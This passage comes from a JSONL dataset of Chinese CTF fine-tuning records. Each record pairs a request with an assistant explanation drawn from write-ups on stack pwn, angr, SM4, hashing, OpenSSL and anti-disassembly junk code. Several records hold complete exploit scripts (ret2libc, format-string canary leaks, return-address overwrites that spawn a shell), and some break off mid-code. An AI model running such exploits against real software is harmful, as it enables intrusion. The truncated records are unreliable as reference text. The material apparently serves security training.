"Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b44a54562b2e202cfc01", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“wustctf2020getshell2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“wustctf2020getshell2”。\n语言/类型：python\n关联知识点：\n- 知识点：`call`函数，后面可以跟随参数。因为在程序`call`函数时正好将下一条指令入栈，于是栈中就形成了返回地址+参数的布局。正好符合栈布局，可以满足执行函数的要求。\n- 程序由于存在溢出限制所以\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nsys=0x8048529\nsh=0x8048670\npayload=b'a'*28+p32(sys)+p32(sh)\nr()\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::748127a0d2adda52", "original_line": 838, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "wustctf2020getshell2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "748127a0d2adda52", "source_split": "train", "split": "train", "split_group_key": "95f535233410b1e3e9806958", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b4ab886dde580f4711d5", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“ciscn2019en2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“ciscn2019en2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\noff=0x58\nr()\nsl(\"1\")\nrdi=0x0000000000400c83\nret=0x00000000004006b9\npayload=off*b'\\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsl(payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=base+libc.dump(\"system\")\nsh=base+libc.dump(\"str_bin_sh\")\nr()\nsl(\"1\")\npayload=off*b'\\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fb41c8455766f028", "original_line": 909, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "ciscn2019en2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fb41c8455766f028", "source_split": "train", "split": "train", "split_group_key": "489ef3396e347900cf3460a5", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b5bcc2d78887ef0eec30", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Angr：Angr符号执行》中“符号化判断”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Angr：Angr符号执行》的“符号化判断”。\n语言/类型：python\n关联知识点：\n- 判断一个 angr 中的表达式是否含有符号在反混淆程序分析、漏挖挖掘等场景中非常有意义。\n- 基于符号执行运算特性，能够实现一个高精度的污点分析框架。\n- 例如在某个程序点将 R0 寄存器设置赋值一个符号值，等程序遇到间接跳转时，判断 pc 寄存器是否是一个符号化的表达式，如果是则说明 R0 寄存器能够控制 PC 寄存器。\n- 另外一个例子，将控制流平坦化混淆中的状态变量符号化，对函数进行符号执行，就能找出所有与状态变量相关的指令，这样能精准区分混淆产生的垃圾指令与真实代码指令。具体细节将在后续讨论。\n- state 内存读取出来的数据也可以判断是否符号化\n代码片段：\n```python\nstate.regs.rdi = 123\nprint(state.regs.rdi.symbolic) # 输出 False\n\nstate.regs.rdx = state.solver.BVS('symbolic_rdx', 64) + 1\nprint(state.regs.rdx.symbolic) # 输出 True\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::877e094a2a5d6b29", "original_line": 87, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "符号化判断", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "877e094a2a5d6b29", "source_split": "validation", "split": "train", "split_group_key": "e6b59b6a7882158e61876928", "tags": ["reverse"], "title": "Angr：Angr符号执行", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b63ada29a95cf128064c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[OGeek2019]babyrop”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [OGeek2019]babyrop\n关键词：libc、xff、p32、payload、base、write、addr、elf、ELF、dump\n蒸馏要点：\n- 32位ret2libc，LibcSearcher无法搜索到libc\n- 不过题目提供了libc\n可用于训练的标准回答：\n### [OGeek2019]babyrop\n\n#ret2libc #字符串截断\n\n32位ret2libc，LibcSearcher无法搜索到libc\n\n不过题目提供了libc\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc-2.23.so\")\n\npayload=b'\\x00'+b'\\x99\\xff\\xff'+b'\\xff\\xff\\xff'+b'\\xff\\xff\\xff'\ns(payload)\n\npayload=b'a'*(231+4)+p32(elf.plt.write)+p32(0x80487d0)+p32(0x1)+p32(elf.got.write)+p32(0xff)\nr()\ns(payload)\npause()\naddr=u32(r(4))\nprint(hex(addr))\n#libc=LibcSearcher(\"write\",addr)\n#base=addr-libc.dump(\"write\")\n#sys=base+libc.dump(\"system\")\n#sh=base+libc.dump(\"str_bin_sh\")\nbase=addr-libc.sym.write\nsys=base+libc.sym.system\nsh=base+next(libc.search(\"/bin/sh\\x00\"))\n\npayload=b'a'*(231+4)+p32(sys)+p32(0)+p32(sh)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::827745bc280e72a0", "original_line": 884, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[OGeek2019]babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "827745bc280e72a0", "source_split": "train", "split": "train", "split_group_key": "93480aea2e3b17fe5d77636a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b6ce8e9c2d79f3e6c185", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《SM4 算法》的“2024 MoeCTF sm4”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：SM4 算法 / 2024 MoeCTF sm4\n关键词：encode_fun、decode_fun、v5、_int64、void、v4、a4、MoeCTF、sm4、int64\n蒸馏要点：\n- ida逆向分析，输入到`v5`，然后将其传参给`encode_fun` ，48 应该是加密长度。\n- `encode_fun`和`decode_fun`类型为`_int64`，但是并没有变量接收返回值，所以我们将其类型改为`void`。\n- 这里的`v4`应该就是密文。\n- 经过加密的输出与其进行了比较。\n- 由于这里存在解密函数，所以我们可以通过修改解密函数解密的内容为密文进行解密。\n- 在`decode_fun`处打一个断点，然后调试运行，向程序输入48个字符占位。\n- 通过 lazyida 插件提取密文然后复制到解密函数要解密的`a4`变量中。\n可用于训练的标准回答：\n### 2024 MoeCTF sm4\n\nida逆向分析，输入到`v5`，然后将其传参给`encode_fun` ，48 应该是加密长度。\n\n`encode_fun`和`decode_fun`类型为`_int64`，但是并没有变量接收返回值，所以我们将其类型改为`void`。\n\n这里的`v4`应该就是密文。\n\n经过加密的输出与其进行了比较。\n\n由于这里存在解密函数，所以我们可以通过修改解密函数解密的内容为密文进行解密。\n\n在`decode_fun`处打一个断点，然后调试运行，向程序输入48个字符占位。\n\n通过 lazyida 插件提取密文然后复制到解密函数要解密的`a4`变量中。\n\n然后运行解密拿到 flag。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0a0d3ba20cd13bd1", "original_line": 913, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2024 MoeCTF sm4", "source": "SM4 算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0a0d3ba20cd13bd1", "source_split": "train", "split": "train", "split_group_key": "51cb5bfc10838087a4838f6b", "tags": ["reverse", "crypto", "ctf-method"], "title": "SM4 算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b7be39ee9f17e422d734", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ez-stack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ez-stack\n关键词：rt_sigreturn、edx、eax、rip、syscall、start、rbp、libc、CODE、ARCH_X86_64\n蒸馏要点：\n- 程序存在栈溢出，并且有一个覆盖指针可导致任意地址写size。\n- 开了沙盒，禁用了open相关所以系统调用，只有rw。\n可用于训练的标准回答：\n### ez-stack\n\n程序存在栈溢出，并且有一个覆盖指针可导致任意地址写size。\n\n开了沙盒，禁用了open相关所以系统调用，只有rw。\n\n```\n line  CODE  JT   JF      K\n=================================\n 0000: 0x20 0x00 0x00 0x00000004  A = arch\n 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012\n 0002: 0x20 0x00 0x00 0x00000000  A = sys_number\n 0003: 0x35 0x00 0x01 0x40000000  if (A\n\n再去详细分析栈环境，能发现从start函数调用_libc_start_main函数再到main函数时，这有0x100左右的空间相搁，这空间中有几个的libc指针。\n\n分析栈数据的时候发现libc main的返回地址附近存在一个mov eax, edx ； syscall的gadget。\n\n又因为先前沙盒允许了`rt_sigreturn`系统调用，这里可以通过控制`edx`实现`eax`控制，从而调用`rt_sigreturn`实现srop。\n\nsrop 可以控制寄存器，但是还是没有办法直接让我们的`rip`指向`syscall`，所以还需要一个 libc 地址。\n\n我们需要将栈迁移至 bss 段上，通过两次`start`调用布置两个 libc 指针在 bss 段特定位置，再去利用我们的`rbp`劫持+read实现 libc 指针之后的 rop 链布置。\n\n通过如此栈风水构造，我们即可泄露libc基地址，之后就是简单的rop利用了，只需要调用 write 获取 libc 中 environ 的栈地址，在遍历栈地址输出得到 flag 即可。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::468ade4bcc1ac130", "original_line": 639, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ez-stack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "468ade4bcc1ac130", "source_split": "train", "split": "train", "split_group_key": "bfffb1d0058664b82cd14d1c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b7e36624af4a0752487d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[BJDCTF 2020]babyrop2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[BJDCTF 2020]babyrop2”。\n语言/类型：python\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nfmt=b\"%11$p\"\nsla(\"help u!\\n\",fmt)\ncanary=int(r(18),16)\nprint(hex(canary))\nrdi=0x0000000000400993\nret=0x00000000004005f9\n\npayload=b'a'*24+p64(canary)+p64(1234)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsla(\"story!\\n\",payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=libc.dump(\"str_bin_sh\")+base\nprint(hex(puts_addr))\npayload=b'a'*24+p64(canary)+p64(1234)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsla(b\"help u!\\n\",b\"asdf\")\nsla(b\"story!\\n\",payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f97897ca4d1f69f9", "original_line": 627, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[BJDCTF 2020]babyrop2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f97897ca4d1f69f9", "source_split": "train", "split": "train", "split_group_key": "ab2dfdf849d306452cc69adc", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b8ac34a7e4aaae9684b4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HZNUCTF 2023 preliminary]ffmt”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HZNUCTF 2023 preliminary]ffmt\n关键词：HZNUCTF、gift、elf、ELF、stack、ret、preliminary、ffmt、usr、bin\n蒸馏要点：\n- 第一个格式化字符串漏洞用来泄露栈地址，第二个格式化字符串函数修改返回地址最后一字节为 0x23 令其跳转到后门函数执行\n可用于训练的标准回答：\n### [HZNUCTF 2023 preliminary]ffmt\n\n#格式化字符串 #任意地址内存覆盖\n\n第一个格式化字符串漏洞用来泄露栈地址，第二个格式化字符串函数修改返回地址最后一字节为 0x23 令其跳转到后门函数执行\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsa(b'name: \\n', b'%6$p')\nru(b'0x')\n\nstack = int(r(12), 16)\nret = stack - 0x108\nr()\ns(b'%35c%8$hhnaaaaaa' + p64(ret))\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::79d9b8f6bb045563", "original_line": 1023, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HZNUCTF 2023 preliminary]ffmt", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "79d9b8f6bb045563", "source_split": "train", "split": "train", "split_group_key": "4757162a4971e848b7745416", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b8eddd63941fec716095", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Hash 类算法》的“算法分析”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Hash 类算法 / 算法分析\n关键词：openssl、md5、findcrypt、ida、Hash、常量来判断加密算法、当动态调试、法分析程序是哪个加密、窗口的函数分析出加密、加密算法\n蒸馏要点：\n- 通过 ida 的 findcrypt 插件我们可以直接查找到程序中的 Hash 常量来判断加密算法，但是这通常只对自己实现或静态链接`openssl`库才有作用。如果使用`openssl`链接库编译动态链接，那么 findcrypt 是找不到的。\n- 也不能说找不到，当动态调试程序的时候使用 findcrypt 插件进行查找可以找到整个`openssl`链接库的常量。这样我们根本无法分析程序是哪个加密算法。\n- 在使用动态链接的情况下，通常可以通过 ida 函数窗口的函数分析出加密算法。\n- 看到下例中的`md5`字样，我们可以判断程序为`md5`加密算法。\n可用于训练的标准回答：\n### 算法分析\n\n通过 ida 的 findcrypt 插件我们可以直接查找到程序中的 Hash 常量来判断加密算法，但是这通常只对自己实现或静态链接`openssl`库才有作用。如果使用`openssl`链接库编译动态链接，那么 findcrypt 是找不到的。\n\n也不能说找不到，当动态调试程序的时候使用 findcrypt 插件进行查找可以找到整个`openssl`链接库的常量。这样我们根本无法分析程序是哪个加密算法。\n\n在使用动态链接的情况下，通常可以通过 ida 函数窗口的函数分析出加密算法。\n\n看到下例中的`md5`字样，我们可以判断程序为`md5`加密算法。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::test::distilled_training_data::test::2681741b1ff0ffcc", "original_line": 50, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "算法分析", "source": "Hash 类算法.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "2681741b1ff0ffcc", "source_split": "test", "split": "train", "split_group_key": "85e4a9078c96270a723ccc71", "tags": ["reverse", "crypto"], "title": "Hash 类算法", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b94d3b8ed9aaa9747b51", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“劫持stackchkfail函数”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 劫持stackchkfail函数\n关键词：__stack_chk_fail、pwn、canary、include、- exp、buf、elf、stack_chk_fail、backdoor、puts\n蒸馏要点：\n- `canary`检测失败会调用`__stack_chk_fail`函数，可以通过比如格式化字符串漏洞修改 got 表中对应`__stack_chk_fail`的位置为后门函数的地址来实施攻击。\n可用于训练的标准回答：\n### 劫持stackchkfail函数\n\n`canary`检测失败会调用`__stack_chk_fail`函数，可以通过比如格式化字符串漏洞修改 got 表中对应`__stack_chk_fail`的位置为后门函数的地址来实施攻击。\n\n- 示例程序：\n\n```c\n#include\n#include\n#include\n#include\n\nvoid backdoor() {\n    puts(\"this is a backdoor.\");\n    system(\"/bin/sh\");\n}\n\nvoid vuln() {\n    char buf[0x100];\n    puts(\"please input:\");\n    read(0, buf, 0x110);\n    printf(buf);\n}\n\nint main() {\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n    vuln();\n    return 0;\n}\n// 编译命令：gcc pwn.c -o pwn -no-pie -Wl,-z,lazy -g\n```\n\n- exp\n\n```python\nfrom pwn import *\n\nelf = ELF(\"./pwn\")\n\ncontext(arch=elf.arch, os=elf.os)\ncontext.log_level = 'debug'\n\np = process(\"./pwn\")", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::c6b6370b4d75eee4", "original_line": 1, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "劫持stackchkfail函数", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "c6b6370b4d75eee4", "source_split": "test", "split": "train", "split_group_key": "04f4591e0e600911cba59ec6", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-b94d92d23b4060e97fd4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 2 段）\n关键词：RSA、EVP_PKEY、EVP_MD_CTX、unsigned、rsa、EVP_PKEY_new()、EVP_PKEY_free(EVP_PKEY *pkey)、EVP_PKEY_assign_RSA(EVP_PKEY *pkey, RSA *rsa)、EVP_PKEY_get1_RSA(EVP_PKEY *pkey)、RSA_new()\n蒸馏要点：\n- | `EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl)`                                                             | 初始化消息摘要上下文。\n- | `EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *data, size_t count)`                                                                | 更新消息摘要上下文。\n- | `EVP_DigestFinal_ex(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s)`                                                          | 完成消息摘要计算。\n- | `EVP_PKEY_new()`                                                                                                                   | 创建一个新的 EVP_PKEY 对象。\n- | `EVP_PKEY_free(EVP_PKEY *pkey)`                                                                                                    | 释放 EVP_PKEY 对象。\n- | `EVP_PKEY_assign_RSA(EVP_PKEY *pkey, RSA *rsa)`                                                                                    | 将 RSA 密钥分配给 EVP_PKEY 对象。\n- | `EVP_PKEY_get1_RSA(EVP_PKEY *pkey)`                                                                                                | 从 EVP_PKEY 获取 RSA 密钥。\n可用于训练的标准回答：\n| `EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl)`                                                             | 初始化消息摘要上下文。              |\n| `EVP_DigestUpdate(EVP_MD_CTX *ctx, const void *data, size_t count)`                                                                | 更新消息摘要上下文。               |\n| `EVP_DigestFinal_ex(EVP_MD_CTX *ctx, unsigned char *md, unsigned int *s)`                                                          | 完成消息摘要计算。                |\n| `EVP_PKEY_new()`                                                                                                                   | 创建一个新的 EVP_PKEY 对象。      |\n| `EVP_PKEY_free(EVP_PKEY *pkey)`                                                                                                    | 释放 EVP_PKEY 对象。          |\n| `EVP_PKEY_assign_RSA(EVP_PKEY *pkey, RSA *rsa)`...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c5209cef7410b4cd", "original_line": 799, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OpenSSL", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c5209cef7410b4cd", "source_split": "train", "split": "train", "split_group_key": "33ce6a610d7827e2142cf46d", "tags": ["reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-baab08b0b65f196a65f1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《花指令：原理：反汇编算法的设计缺陷》的“实现”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：花指令：原理：反汇编算法的设计缺陷 / 实现\n关键词：- **gcc 编译器实现**、include、asm、jmp、printf、hello、world、msvc、emit、gcc\n蒸馏要点：\n- **msvc 编译器实现**\n- **gcc 编译器实现**\n可用于训练的标准回答：\n#### 实现\n\n- **msvc 编译器实现**\n\n```c\n#include\nint main() {\n\t__asm {\n\t\tjmp s;\n\t\t_emit 0xe9;\n\ts:\n\t}\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```\n\n- **gcc 编译器实现**\n\n```c\n#include\nint main() {\n\n\t__asm__ __volatile__ (\n        \"jmp s\\n\\t\"\n        \".byte 0xe9\\n\\t\"\n        \"s:\\n\\t\"\n    );\n\tprintf(\"hello world!\\n\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::676f804f9e7e81ed", "original_line": 894, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "实现", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "676f804f9e7e81ed", "source_split": "train", "split": "train", "split_group_key": "8422bd7aed4f414133cfaab7", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
